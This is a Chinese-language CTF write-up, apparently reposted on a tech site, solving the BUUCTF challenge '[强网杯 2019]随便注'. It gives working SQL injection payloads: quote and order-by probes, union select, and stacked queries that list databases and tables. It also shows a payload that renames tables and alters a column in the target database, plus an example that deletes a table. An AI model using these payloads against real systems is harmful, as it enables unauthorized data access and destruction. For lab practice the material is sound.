web buuctf [强网杯 2019]随便注1

编程入门 行业动态 更新时间:2024-10-24 22:17:56

web buuctf [强网杯 2019]<a href=https://www.elefans.com/category/jswz/34/1756754.html style=随便注1"/>

web buuctf [强网杯 2019]随便注1

1.简单注入

 随便填个 1

2.输入 1'

再尝试输入 1' #

有输出,证明确实存在sql注入;

3.常用注入

a. 1' or 1=1;#

b.依次试1' order by 1;#

 

 依次试1' order by 2;#

1' order by 3;#

证明只有两个字段;

4.利用 union select 进行联合查询

1’ union select 1,2;#

正则表达式,难搞哦

 5.利用堆叠注入

堆叠注入原理:

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
 

a.1' ; show databases;#                        //查看数据库

 

 b. 1' ; show tables ;#

c.存在两个表,需要逐一进行分析

1' ; show columns from `1919810931114514`;#

(注意表名前后的`符号,我打了好久才知道这个符号,在TAB键上面切成英文可以打出来,加在表名前后

【`】是国际标准万国码的全形抑音符(全宽重音符号)
英文名为【FULLWIDTH GRAVE ACCENT】。位于万国码uFF40。

`通常用来说明其中的内容是数据库名、表名、字段名,所有的数据库都有类似的设置,不过Mysql用的是`)

 

1' ; show columns from words;#

可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表

(后台sql语句可能为  select id,data from words where id=)

接下来就是如何获取flag了
把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:

1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);#

我们先把该sql传到靶机上,更改靶机数据库信息

再查询表名

表名已经改过来了;

原表也更改了;

最后输出语句:1' or 1=1;#

得出flag.

 

 

 

更多推荐

web buuctf [强网杯 2019]随便注1

本文发布于:2024-02-07 04:50:51,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1753508.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:随便   buuctf   web   强网杯

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!